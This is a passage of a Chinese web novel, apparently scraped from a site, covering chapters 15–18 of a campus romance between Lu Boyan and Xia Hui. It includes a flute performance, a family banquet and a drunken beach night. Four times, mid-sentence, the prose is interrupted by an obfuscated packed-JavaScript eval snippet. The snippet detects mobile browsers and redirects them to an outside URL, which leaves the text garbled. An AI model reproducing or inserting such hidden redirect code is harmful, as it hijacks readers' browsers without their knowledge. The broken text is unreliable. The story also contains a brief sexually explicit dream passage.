夏洄颔首,“当然,我是站长,照顾每一位成员是我的责任。” 说了夏洄也不会信。凭什么相信一个刚认识不到半个月的陌生人说发小的坏话呢? 只会觉得他是个嫉妒丑陋的小人,然后疏远。 夏洄看着路柏言,期待他说出烦心事,说不定他可以帮忙解决。 夏洄对每一个发小、朋友、成员都会一视同仁地关心。 裴晓培和丽姐在他家住多久都没关系,如果贺铭非想住他也欢迎。裴晓培腹泻他陪着去医院直到痊愈。因为这些人都对他很好。 当然,如果无意伤害他,让他遭受无妄之灾,他会生气。就像丽姐不小心很用力抓伤他。 路柏言知道夏洄很好。那些校园霸凌他毫不知情。有些可笑,可能是严宵和贺铭非知道一旦暴露就无法继续做夏洄的朋友。 路柏言:“一些很小又很烦的琐事,你应该也遇到过,只能慢慢靠时间磨。” 夏洄:“好吧。那祝你顺利。” 夏洄站在路柏言旁边,和他一起包冰箱贴,等会儿他还要准备表演,吸引外卖游园的顾客。他带了贺铭非送的长笛过来。 夏洄有段时间没有理发了,细软的黑发贴在白皙的脖颈。 如果现在是野兽时代,路柏言会一口含住这截脖颈,把人带回到自己的巢穴,尖牙刺破夏洄的皮肤,注入发-情素,让夏洄仅凭本能被他占有,强取豪夺。 可惜这是个文明时代,信任与感情需要靠时间一步步建立。 没关系,他对夏洄很有耐心。 - 再过了一段时间,校园里起风了。 有人看见夏洄从包里拿出一个精致的长盒,随即取出一支金光闪闪的长笛。 “哇站长,这笛子看着老有质感了,很贵吧快说个价格让我死心。” 夏洄很喜欢这个笛子,高中没抢到,贺铭非说他连续抢了两三年终于抢到了。 笛子的触感和想象中一样好,他嘴角上翘,“这是朋友送的礼物。” 副站长暧昧笑笑,“嘿嘿不会是贺铭非吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749419|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏洄默认了。 路柏言目光一滞。 他运气似乎一向很差。 是后来者就不说了,这是投胎的技术。 可他这次终于攒到了钱也去抢了。 夏洄要开始表演了。他站在哪里,哪里就是舞台。所以他站在了一个圆石墩上,打磨平滑的表面一般人站不住,夏洄平衡性很好。 他站在上面用长笛吹了一首无人不知的《我心永恒》,电影《泰坦尼克号》的插曲。 因为曲目相当大众,一时间很多游逛的顾客都被吸引过来。 即使没学过长笛的人,也能感受到夏洄气息饱满沉稳,转音的小细节处理流露丰沛的感情,如听仙乐耳暂明般,所有人不约而同安静下来。 此刻校园里起风了,他们闭上眼,在这动人心弦的悠扬乐声中似乎能看到Jack和Rose相拥在船头,海风吹拂他们的头发、衣摆,缠绕在一起,正如两颗心永远不会为世俗、死亡所分开。 路柏言干脆坐在了树下的草地上,他撑着下颌仰头看着沉浸在情绪与乐声抒发中的夏洄。 用尽一切美好纯粹的词也无法形容他喜欢的少年。 这首曲结束,掌声热烈。夏洄站在石墩面上微微弯腰做了个中世纪贵族谢幕的绅士礼。 即使从不认识他,也能从他的姿态中看出他家境优渥,从小接受良好教育。 后面夏洄又吹了几首,中场休息时,顾客在摊位上买猫狗周边,为救助站献一份力。 可惜台风季的雨来得突然,这场义卖活动最后以手忙脚乱挤在遮阳棚下躲雨狼狈收场。 贺铭非不知道什么时候来的,事实上当论坛上出现夏洄在长笛独奏视频时,义卖场新来了很多人。 夏洄永远是学校的焦点。 “我开车来了,现在要回家吗?” 贺铭非问他。 雨越来越大了,义卖场的负责人老师说东西可以先放在原地,贵重物品拿走,明天雨停了再过来收拾。 夏洄:“那先走吧。” 路柏言站在原地,那棵树下。 他看见,在伞下夏洄抱住了贺铭非。 - 可能是最近事情多任务重压力大,夏洄渴肤症发作变得频繁。 他被贺铭非送回了家。 到家了他才想起来,刚才应该叫路柏言一起走的,他们是邻居。 这么想着,门铃响了。他先是看了猫眼,门外正是他刚才想到的路柏言。 他立马打开门,却有一股潮湿的气息扑面而来。 路柏言湿漉漉地站在他面前,勾着头看着他,漆黑的眼眸似乎也被水汽侵入,透着他看不懂的晦涩情绪,可一言不发低头看着他的模样,又像是夏洄下雨天在路边碰到的无家可归的流浪小狗。 路柏言薄唇被雨浇得发白,他动了动,挤出艰涩的一句话:“你说了下次会抱我的。” 不是他。 路柏言说完转身要走,夏洄抱住了他,干燥温暖的身躯抱住了冰冷潮湿的路柏言。 夏洄手臂勾着路柏言的脖颈,让他低下头,在他前额轻轻贴了一下。 “有没有心情好点?我心情低落时,爷爷都是这样亲我额头。” 在这瞬间路柏言眼眸睁大,三秒的难以置信后是难以抑制的欣喜若狂。 额头上还有夏洄嘴唇留下的温度。 他反手将夏洄摁入怀里,嘴唇贴着夏洄柔软的发丝,所有阴霾一扫而光。 15. 好梦 第15章 夏洄拉着路柏言的手,把他带进了自己家里。 夏洄给他拿了一条大毛巾,“你先在沙发上坐一下。” 夏洄在玻璃收藏柜里取了一盒茶杯套装出来,里面有四只动物塑茶杯,有小猫、小兔、小猪和小狗,他问路柏言想要哪一只。 玻璃柜里陈列着很多餐具、杯具,一部分是家人发小送的,大部分是夏洄自己淘的。他不会做饭,但他喜欢收藏好看独特的餐具。 路柏言挑了小狗杯。 因为路柏言说什么茶都可以,夏洄就选了自己最喜欢的Whittard Earl Grey,他在E国看望姑姑时喝到的第一款伯爵茶。 爷爷说,朋友心情不好时要给他们泡一杯热茶。 路柏言把毛巾搭在头上,雪白的纯棉布垂落在肩头,他能嗅到夏洄身上的气息,因为夏洄清洗衣物用的洗衣液都是柠檬香型。 夏洄在中岛台打开茶罐,特意也挑了一根小狗塑的茶勺。茶叶里混着少许的矢车菊花瓣,热水浇下去激出一阵香气。 这款茶清泡苦涩味会比较重,他扭头看向沙发,想问路柏言要不要加点奶,却对上了路柏言一瞬不瞬盯着他的眼神。 沉黑眸中的某种情绪浓到化不开,夏洄眼睛似乎被刺了一下,不是痛,就是会被那种情绪吞噬般,所以他移开了视线。 “这茶单喝会苦涩,你要不要加点奶或者糖?” 路柏言沉默了良久,此刻再开口说话嗓子微哑,但他嘴角牵起,笑了下说,“加奶糖会奇怪么?” “可能有点,不过可以试一下,”夏洄思考了下,“不过我这好像没有奶糖了,下次得买点。” 他有低血糖,家里时常备着巧克力、水果糖或奶糖。 “我有。” 路柏言走过来,夏洄听到包装袋被挤爆的声响,接着路柏言松开掌心,一粒奶糖落进了热气腾腾的茶杯里。 夏洄突然想起之前丽姐说要用奶糖贿赂路柏言。 “你好像很喜欢奶糖,真看不出来。” 夏洄不喜欢也不讨厌奶糖,高中刚查出来低血糖时,因为害怕再次晕倒,他在校服里揣了一段时间奶糖,贺铭非觉得巧克力更有用些,他也揣了一段时间。 都说21天养成一个习惯,他们还没坚持到这个天数,就忘得一干二净了。 路柏言倚在中岛台上,背着光投射的阴影把夏洄包围住。他搅拌着热茶,轻笑声似是自嘲,“谈不上喜欢,只是心情不好就想吃一颗。” 夏洄觉得哪里奇怪,但暂时拐不过来。应该和他没关系,那他也没必要想明白。 两人在餐桌上喝着热茶。夏洄还在小口小口品着小猫杯里的美味,这是他每天固定的放松时刻,慢悠悠的,不需要急。 旁边的小狗杯被放下,夏洄余光里小山般的身影在他椅边单膝弯下来。 路柏言一手抓着夏洄的椅背,他单膝跪地时视线比坐在高椅上的夏洄低,他仰视着夏洄,用夏洄无法抵抗的那种湿漉漉,怕被拒绝的可怜眼神,看着他。 “还可以再亲一下额头么?” 夏洄真的无法抵抗这样的路柏言,明明优秀得光鲜靓丽,今天怎么低落得像是没人要的流浪小狗呢? 他嗯声,抱着路柏言的脑袋,将沾着奶香的两片唇轻轻印在他额头。 路柏言睁开眼睛,朝上看,夏洄浓密鸦羽般的眼睫轻轻垂着注视他,安静得似林中深处那片寂然的湖,泛着月光的清亮,诱惑夜行者驻足痴迷。 他说,祝晚安好梦。 那天晚上,路柏言的梦里,夏洄不再是清冷疏离的,是哼哼唧唧,猫似的黏人,眼睫上挂着滴滴污浊,唇珠到眼睫,他的脏东西落成一道抛物线。 - 顾放觉得他好哥们最近心情好得有些让他害怕。 以前不吹口哨不哼歌,每次给贝宝洗尾巴上的屎都面色阴沉,现在边哼歌边洗。 贝宝以前只会反抗不要洗澡,现在被主人异常的好心态害怕得逃走,可惜还是逃不出魔爪。 好消息是贝宝被吓到了,所以这两天脾气格外乖顺。 顾放搂着贝宝坐在沙发上,贝宝不挠人时还是挺可爱的,他指着手机上的视频给贝宝看,“贝宝看,这是你爸爸的宝贝,你俩虽然都是这两个字,但在你爸心中,要是你惹到了他的宝贝,你这个贝宝就一文不值了,就要无家可归变成流浪猫了。” 贝宝听不懂这个恐怖故事,他看到夏洄那张脸出现,就用猫爪去拍屏幕。 视频里夏洄是去年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749420|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京大的十大校园人物,在接受校融媒体的采访。 听到夏洄的声音,路柏言原本在写游戏代码,走过来站在顾放旁边看。 他高中和开游戏工作室的朋友合作做了一款像素风小游戏,放在steam上销量还不错。最近正在筹备第二款。 视频里夏洄穿着粉衬衫,高挺鼻梁上架着副细框眼镜,眼镜链垂在他袒露出来的锁骨上,偏向镜头看着采访人,两片嘴唇上下贴碰,唇色比粉要深些,水润的看起来很好亲。 一想到这两片唇碰到了额头,两次,一次意想不到的主动,一次请求的满足,路柏言现在喉咙就跟烧起来了似的。 他喝了口水。 门铃响了。这次没有和顾放对视,路柏言自己去开了门。 刚才在视频看到的戴着眼镜链的夏洄出现在门口。 他穿着件白色绸缎衬衫,一边还多了块布,上面是一朵金线刺绣的玫瑰,随着他抬手的动作绽开。 “这里有些减脂粮,你看看贝宝爱不爱吃。” 夏洄把怀里搂着的猫粮塞进有些怔愣的路柏言怀里。 怪不得他怔愣住,顾放抱着猫出来,看到夏洄的第一眼眼睛都睁大了。 他发现夏洄其实不上相。同一副眼镜链的造型现实看起来远比镜头里有冲击力。 夏洄的面部轮廓和五官线条偏向于雌雄莫辩的中性美,此刻像是散发着玫瑰香气的贵族小王子。 夏洄看他们一时间都不说话,盯着他看,不解道,“你们好像有点奇怪。” 他看了眼时间,打算走了。身后路柏言喊住他,问他去哪儿。 今晚夏洄要去参加贺铭非爷爷的寿辰大宴。他爸妈还没回家,他代表着他家的形象,所以好好捯饬了一番。 多了几年相处的时间就是不一样,这是强融不进去的社交圈。 “这里有根头发。” 夏洄站在原地,看着路柏言朝他压过来,用指腹在他眼尾处轻柔捻起一根碎发。 “会喝酒么?” 路柏言两根手指碾着那根碎发,没有松开。 虽然不知道为什么会问这个问题,但夏洄还是回答了,“不怎么会。” 那就好。这幅样子的夏洄喝醉了不知道该有多少双眼睛盯着。 16. 宝宝 第16章 夏洄没怎么喝过酒。长这么大一共喝过两罐啤酒。一罐是陪着丽姐喝的,一罐是一个月前听到他爸妈半夜吵架喝的。 丽姐高中时偷偷溜进了酒吧。回来告诉他,酒吧真好玩真爽,脑袋空空忘却烦恼就是激情摇摆。 第二天却抱着他哭,问他父母为什么永远不能是父母呢? 为什么突然有一天会让小孩意识到,父母也有他们自己的世界,而不是整天围着自己转。 没人是这个世界的中心,但每个小孩都是父母的中心。 那一年,丽姐的父母离婚了。夏洄发现某一天,丽姐就像是上辈子三十岁跳海死了现在重生归来,外表看着还是和他们一样青涩,可不经意流露出来的价值观和人生观远远比他们成熟深度。 那时候,十六七岁的夏洄还没意识到这种身体年龄与心理年龄割裂开的痛苦。 现在他体会到了。 但他感觉自己还是不想长大的小孩,因为走到哪里都想要成为中心。 他从小便始终是身边所有人的中心,做任何事都不用考虑后果,想做就做是了。 他从路柏言家出来下楼,贺铭非正在驾驶位等他。 他还没有自己的车,这是他家的车,不是他的。夏洄又想起了贺铭非把买人生中第一辆车的钱给他买长笛了。 严宵也来了。日落后天色暗淡,他看见夏洄从小区门口出来慢慢朝他们走来,每走一步绸缎白衫好似月色流淌。 往上看,夏洄白皙的脸像是月亮无喜无悲,淡淡的,没什么表情,只管五官天生好看就行。 夏洄径直打开后门坐上了车。没说一句话。严宵和转过头的贺铭非对视一眼,默默下车坐到了副驾驶位。 车子开出去一段时间,他们想和夏洄说话时,人已经靠在车窗上睡着了。 车上睡得并不安稳,但夏洄实在太困,昨晚又睡不踏实。他好想有裴晓培那样的睡眠质量,可惜不能。 他隐约听到有人在说话,提到了“路柏言”,听不真切,他想起路柏言对他露出的流浪小狗似的渴求关爱的眼神。 他无法抵抗。他的贝宝走丢后可能也流浪了一段时间,无家可归。他加入救助站初衷就是帮助更多的流浪猫狗,让他们有个家。 严宵非要在车上提及路柏言,贺铭非觉得他这几年变得越来越神经病了。 不过也能理解。一个大山出来的私生子各方面远比他优秀,学习、体能,甚至赚钱头脑。 今年暑假,严宵父亲在家里聚餐喝醉了,无意和最好的老友提起他儿子高中就和别人合伙做了一款游戏,销量多少多少,虽然远不是很漂亮的数据,但前途无限。 老友就问,是不是那个高考状元的儿子。严宵他爹倍有面子说,当然是! 说来很可笑。几年前严宵对这个他无比自豪的“小号”做什么,他都睁一只眼闭一只眼。 只因为当时严宵是个投入了无数沉没成本,还可以期待的大号。而“小号”只是初始号,没有任何练度和资源,注销了也不要紧。 贺铭非他爷爷也是这样的,为了面子什么事都做得出来,所以他猜得到严宵他爹的想法。 路柏言是死是活和他没关系,不过他厌恶路柏言每次看他的眼神,就好像在说,他只是投了个好胎,什么都配不上。 路柏言总会让他想起电影里古罗马斗兽场那些和猛兽搏斗的奴隶,眼神始终坚毅,只为了一个并不可能实现的目标,跌倒了又站起来,再跌倒再站起来,哪怕胳膊被咬下来,血肉模糊。 车子驶入京州最贵的小区。在独栋别墅的大院停下来。此时,灯火辉煌,觥筹交错的宴会顷刻开启。 夏洄把准备好的礼物送给贺铭非的爷爷。 爷爷握着夏洄的手,好久没见到了,在灯光下端详他,高兴地说,“溯宝长肉了啊,好啊好啊,说明身体越来越棒了!” 这孩子体弱多病,他老人家也是从小看着眼里,疼在心里的。 大家都在笑,高兴地笑。只有夏洄笑不出来,他现在都不敢上称,但魔鬼老师定期要称体重。 “人都到了,吃饭吃饭!” 老爷子当过兵,老来一嗓子也中气十足,威风凌凌。 端菜的阿姨特意把松鼠鳜鱼和白袍虾仁放在了夏洄的面前。 夏洄小时候和爷爷不知道在贺家蹭过多少饭,他最喜欢贺家煮饭阿姨做的这两道菜。 夏洄说谢谢,阿姨笑眯眯地说不客气,这么多年了还喜欢她煮的菜就好。 所有人在三张拼接在一起的大长桌吃饭。桌上有小孩,中学生和成年人。服务生给小孩和中学生倒果汁,给成年人倒红酒。 服务生要给夏洄倒红酒时,夏洄想起了路柏言,突然说,“给我倒果汁谢谢。” 但周围都是喝红酒的,中学生又太八卦,每次会问他恋爱状况,于是夏洄把菜和碗端去了小孩那桌。 原本闹腾不止的小孩看见夏洄坐过来,立马安静了。 有个小孩想夹虾仁,一直偷瞄垂眼咀嚼的夏洄。他们也看出来这两道菜是专门给夏洄准备的。 夏洄眼睫微微动,小孩飞快地收回手,正襟危坐。 夏洄是独生子,堂的表的兄弟姐妹基本都在国外,他其实和小孩相处会不自在。因为小孩似乎都很怕他。 明明猫猫狗狗都很亲近他的。 这小孩埋头啃着嘴里已经没多少肉的酱排骨,小心翼翼的。夏洄给他的感觉像是他大班时最怕的数学老师。 “哇!” 小孩感到奇怪抬眼,看到夏洄刚好收回手,而他的盘子里多了一勺虾仁。 小孩们互相对视——原来是纸老虎。 纷纷拿起小瓷盘,异口同声对夏洄说:“哥哥我也要!” 夏洄有些无语,把两盘菜放在中间,他声音本来就是偏冷淡的,“自己夹多少吃多少,不准浪费。” 小孩们又安静了,但默默夹菜,埋头吃菜,挑食的小朋友也不敢挑食了。 贺铭非的亲哥贺誉看到这一幕,在夏洄吃饱喝足后走过来,扫了眼夏洄面前的“战场”——夏洄食欲和食量远比以前好。 怪不得长肉了。 贺誉从西装里兜掏出来一个丝绒长盒递给夏洄。 夏洄看了眼泛着奢华暗光的盒子,没什么表情说,“我可以不收么?” 其实他真的不缺东西。他想要随时可以自己买。如果是关系不熟的人送礼物,他还要想办法下次逢年过节过生日给他们送礼物。 还得花时间去了解他们喜欢什么,而不是随便送。这对他来说是件麻烦的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749421|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去年就没收,今年再不收……那我明年继续。” “那我继续不收。” 贺誉笑了,倒不是被气的,他把盒子打开放在夏洄面前,“这条项链或许你下次跳现代舞时可以作为装饰。” 夏洄瞥了一眼,那条项链挺漂亮的,不是普通的一根链子,而是几条短链连着几条长链,最里面是一个圈,单独拆下来都可以当做项圈了。 他对自己戴项圈没兴趣,他看了眼贺誉的脖子,“你可以自己戴。” 贺誉还想说让他收下的话,弟弟突然走过来。 一脸警惕看着他。 “哥你在做什么?” 暑假时贺誉从E国回家探亲,和不断催婚的爷爷说他谈了个女朋友,盼了许久的爷爷高兴极了。 某天晚上贺铭非听到他哥在阳台上打电话,宠溺地喊着对面“Honey”,贺铭非想着捉弄一下,一把抢过手机,大喊“嫂子好”,听筒里却传出来男生的声音。 后来,贺铭非突然想起来小时候爷爷家规伺候得了艾滋病的小叔。 爷爷不歧视同性恋,但他绝不允许家族里再出现同性恋。 而遗嘱全凭爷爷的一句话。 贺誉知道他弟在想什么,嘴角露出精明的笑,“送个礼物而已,你不也一样吗?” 他知道他弟弟不会告发他的。因为他弟也是同类人。 兄弟俩眼神暗斗,夏洄左看右看,不知道他们在打什么哑谜。他也没兴趣知道,反正和他没关系。 这场宴会突然变得无聊起来,之前他好像也没高兴到哪去。被爸妈拉着一个个介绍商界政界成功人士,和他们的儿女。 今晚丽姐和裴晓培也从外地的学校赶过来了。不过他俩现在正在和同龄人寒暄,打好未来的人脉。 手机响了两下。 -拉布:我跟贝宝说这是你给他的减脂粮,现在的他be like[视频]。 路柏言在家里撸贝宝的脑袋,贝宝的猫顺起来很舒服,像是在温泉水里。 该是放松的状态,他却忧心忡忡。 他没参加过上流人的宴会。暑假严林江找到他,说想给他办个宴会,认祖归宗,同时也是欢送会,因为要送他去国外留学。 他说,“你跪下来对我磕三个头求我,我倒是可以考虑出席。” 严林江脸色阴沉,举起手要打他,他比较高,力气也大,一把抓住那只签过几十亿合同的手,他眉骨高,眼眶深邃,面无表情时那股阴狠劲透得淋漓尽致。 不过宴会应该离不开酒。成年男性更躲不开。夏洄一看酒量就不行,或许一口下去,酒劲就上脸红了。 夏洄亲他也不代表喜欢他。还抱过贺铭非呢。万一喝酒了被人诱哄着亲了一口。 ……他们还极有可能是情侣,喝酒了很多事情就无法控制了。 好想让夏洄只抱他亲他。 贝宝埋头啃完了盆里的减脂粮,不太好吃,但他喜欢夏洄,给个面子。 他抬脑袋,主人正倒在沙发上,一动不动像死尸,还好还会抱着手机看。 路柏言没想到夏洄很快就回消息了。 -[宝宝]:好喜欢。 在视频里贝宝里摇头晃脑,乖乖吃掉那些减脂粮。 夏洄的微信昵称是AAA柠檬批发商。 17. 交心 第17章 夏洄走后,两兄弟在座钟边的沙发上,只有他们两人的角落聊天。 贺誉慢悠悠摇着酒杯,他在E国“魔圈所”工作,有什么场合老爷子总要提他两句,脸上倍有光儿。 贺铭非以前很崇拜亲哥,自从知道亲哥是gay,还每年给夏洄送礼物后,越琢磨,心思越变味了。 贺誉倒无所谓,他拍着弟弟的肩膀,“我对他好又不是要追他,我两只眼睛都没瞎,他就像是圈里的梦中情人,事实就摆在这儿,但凡是圈里的,没点心动是不可能的。” 说着,他点了支烟,提起贺铭非本科毕业要不要去国外留学的事。 “夏洄是要去的吧,他姑姑一家都在那儿。” 突然的话题转变,贺铭非知道他哥背后的深意了。 - 夏洄蹲在花园边上,幸好天气凉了没了蚊虫,他在躲社交。 他想去找丽姐他们的,但是去找他们意味着要和其他同龄人说话,他其实不喜欢热闹,宁愿一个人待着。 他给路柏言发视频通话,几乎是一秒就接通了。 镜头画面几乎是漆黑的,只有淡薄月色下夏洄的半张脸,朦胧虚影,唇色倒是惹眼的嫣红,像旁边在漆黑里只看得出轮廓的玫瑰花原本的花色。 “很无聊么宴会?” 路柏言看着那两片玫瑰色的唇上下触碰回答他,应该刚喝过水,唇泛着水光。 叫他想碾上去亲咬。 夏洄好像觉得他是个阳光温柔的人。如果亲吻得像渴望独占的野兽,大概率会被吓到。 “有点,我不太想和这么多人待在一起。” 夏洄说着,还没说完,发现路柏言似乎在走神,原本就黑的瞳仁此刻沉得更深。 “你不想听我说话?” 是问句,更像是有点气在里头。 “没有的事,小少爷请继续。” 路柏言弯着坐在沙发上的脊背挺直了,正襟危坐,表情专注起来,仿佛在上朝,面对的是掌握他生杀大权的小皇帝。 夏洄突然笑了,“你干嘛装出这幅样子,你看贝宝看你的眼神。” 贝宝看戏精一样,翻了个白眼。 路柏言却笑,因为他很少很少看见夏洄笑。 夏洄看了眼时间,点开地图查找某个地点,而后问路柏言,“你晚上想出来走走吗?和我一起。” 这必须。 十分钟后,一道身影不告而别,偷偷在别墅区外的马路上了辆网约车。 车子朝下坡驶去。透过后座车窗,夏洄看见他家的房子一闪而过。一片漆黑,很久没有人回家了。 又过了五六首歌的时间,夏洄在一片海滩下车。 路柏言来得晚些。他还买了点东西。 出门前迅速对着镜子梳理一番着装,喷了点香水。 夏洄坐在柔软的沙滩上等,看着一望无际的黑色大海,大海上月色被撕扯开,成了不规则的落影,就像他此刻的情绪无限发散,找不到主题。 是伤感是孤独还是单纯放空脑袋,他也不清楚。 身后传来脚步声,夏洄回头看去,路柏言提着他想要的啤酒过来,风从他背后吹过来,送来阵阵苦柠香。 香气是冷冽的,路柏言看向他的眼眸却如连通地下温暖泉水的深沉古井波动。 夏洄接过他的袋子,拿出两罐啤酒,一罐给自己,一罐给路柏言。 两声拉环响。 “干杯!”夏洄情绪突然高涨。 “干杯。” 可能是艺术生天生的伤感,情绪来得快去得也快,路柏言觉得夏洄现在一张脸上有两种情绪,哭笑脸般。 他看见夏洄嘴角就忍不住翘起,可面对这样的夏洄他笑不出来,心口像落进一粒沙粒般大的玻璃屑,隐隐疼。 夏洄举高啤酒罐,吨吨吨一口气灌了大半瓶,路柏言伸手挡住,“稍微等下再喝宝宝。” 空气有点凝滞,不小心带出了微信备注。 而夏洄已经醉了,他听到路柏言喊他宝宝,一脑袋往路柏言肩颈栽扎去,靠在他怀里,“……是溯宝,不是宝宝。” 其实清醒状态下,路柏言怀疑夏洄也会这么回答。 喜欢的人如此迟钝也是种甜蜜的痛苦。 夏洄躺在路柏言的大腿上,颧骨处红得滴血,其实是红了一些,但他很白,视觉效果就蛮明显。 海风吹开夏洄的额发,夜风抚慰的频率缓慢舒适。夏洄眼睛阖上,感受着。 他们坐在裸-露的礁石上。路柏言防止夏洄掉下去,掌心箍着他的后腰。心里有些惊讶,夏洄的腰比舞台上看起来还要薄韧。 “你有喜欢的人么?” 夏洄突然问。 路柏言低头去看他,夏洄依旧闭着眼。恬静慵懒的神情问这话仿佛在问,你晚上吃了什么。 这段时间的接触,路柏言慢慢怀疑,当年那封情书或许夏洄是看了的,只是不在意罢了,后来可能从桌肚无意掉出来被值日的同学扫走,最后出现在了垃圾站。 不是高傲,或许除了艺术事业,夏洄对一切都淡淡的,并不在乎。比如,他可以抱了贺铭非之后,又亲他。 在他出神时,夏洄接着说,“小时候偷看了我爸年轻时给我妈写的情书,我爸引用了一句:‘从前的日色变得慢/车、马、邮件都慢/一生只够爱一个人’。我以为那个人是我妈。” 一般,我以为通常不是我以为的那样。 路柏言此刻浪漫旖旎的心思转为有些沉重的怜惜。 夏洄真的醉了,他飘飘忽忽的,窝在路柏言温热又冷冽的苦柠香中,他喜欢的气息加深了他此刻对路柏言的信任。 “当然,我妈的那个人也不是我爸。” 双双出轨多年。 夏洄深夜失眠时会想,或许他该庆幸吧,父母这么多年还能为了给他一个表面完美的家熬着撑着,直到他成年。为这种畸形的亲情庆幸吧。 夏洄说了很多,他思绪被温柔海风飘散,想到哪儿是哪儿,他提起了和庄丽裴晓培第一次见面,笨蛋1号,笨蛋2号。 路柏言想象脸上有点婴儿肥的夏洄小学鸡时期光用一句话吵架,忍不住笑。 “真希望那时候我也和你一起玩。” “是吧!”夏洄突然又情绪高涨,“我觉得我这么好,没人不想和我一起玩。” 路柏言忍不住摸他越来越红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749422|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸颊。 夏洄还提到了贺铭非。 路柏言并不想听,但他想知道一件事。 “你觉得贺铭非怎么样?” “他对我挺好。” 酒后吐真言。因为没有心思思考,直言直语说出对问题最纯粹最直观的想法。 “其实我有点对不起他。” 路柏言眼眸冷沉:“怎么说?” 夏洄怕黑,总幻想会有不可名状的东西从黑暗里冲出来,凸到他面前。 初中某次他生日,生日意味着又成长了。他想试试走夜路,万一试过一次发现黑夜没那么可怕呢? 于是他让贺铭非陪他走夜路散步。因为贺铭非初中就是全校最高的,人高马大,植树节扛一大袋树苗不在话下。 那天晚上,他们碰到了醉酒的混混,非要和他们打架,他们不肯,就追上来。刀尖马上要落到夏洄眼睛里时,他吓得不敢动。 他总算知道警匪片配角看见刀就忘记他们还活着一动不动的样子,是多么真实,而不是蠢了。 贺铭非替他挡住了,刀扎进他后背,夏洄抱着他,血流到他掌心,他吓得哭了。 “他当时居然笑了,擦掉我眼泪,问我哭什么啊。可是他太重了,我当时扶不动他,我怕他倒在地上,那把刀就插-得更深怎么办。” 哭?夏洄还会哭?路柏言想象不出那副样子的夏洄。夏洄给他的感觉,即使嘴皮被咬烂,眼泪都不会下来。 “后来他动了手术,因为伤疤太大,他不能再报空军了。因为我,他不能实现他的人生理想。” 路柏言觉得可笑。 在肋骨区,人身上刺青最痛,因为皮肤很薄、神经密集的地方,是他这辈子挥之不去的烫伤印。 他手臂上还有烟头印,也要跟他一辈子。 路柏言:“你没有对不起他,这是他自己选的。” 夏洄往他怀里钻,突然有些难过,“今天是他爷爷生日,他爷爷以前是军人,其实也是很想他当空军的。” “他爷爷是军人?”路柏言语气古怪起来,有些震惊,夏洄都醉了,分辨不了。 更可笑了。 他整个初中过的就不是人的日子。 那天晚上,贺铭非被送去医院急诊手术室。出院时,他脊背有道夏洄半根小拇指那么长的伤疤。他爷爷也来了,夏洄不敢面对他爷爷。那些年他在贺家蹭饭,老人家总津津乐道大孙子毕业后是律师,小孙子当空军延续他的军人梦,满怀憧憬。 他哭着和贺爷爷说对不起,老人家摸他的脑袋,并没有说什么。 夏洄转过正脸,躺在路柏言大腿上,自下而上看他。 路柏言注意到他的视线,也垂眸看着他。 海风吹起夏洄额发,漂亮的眼睛完全露出来。他看到夏洄的眼眸里只有他一人的倒影,混着月光,仿若一掬醉人清酒。 两人就这样对视。 路柏言看见他两片嘴唇动了: 他听见:“你亲过人么?” “初吻还在。” 夏洄蓦然起身跨坐在他大腿上,对着薄唇扬起脖颈,瓷白而修长。 “我现在很渴,帮我吸一下,舔我。” 18. 发芽 第18章 夏洄感觉自己的脖子在被舔-舐,湿乎乎的,他睁开眼,怀里圆滚滚的脑袋拱他。 “宝宝你怎么在我家呀?” 夏洄嗓音透着刚醒来的哑,伸手揉着贝宝的脑袋,贝宝低头舔他的下巴。 夏洄看见了盖在身上的被子,不是他的,他也没用过黑色的床单。他喜欢亮丽的颜色。 敲门声响起,夏洄往门口看去,路柏言身着灰色运动装站在那儿,兜帽拉过头顶,脸红晕有汗,明显是刚刚运动过的状态。 他像是刚从外面吸满了阳光回来,神采奕奕,很大幅度地笑着,心情格外好。 “早~我给你买了汤粉。” 夏洄脑子有点痛,看到路柏言似乎想起了昨晚的事情,又似乎没有想起。 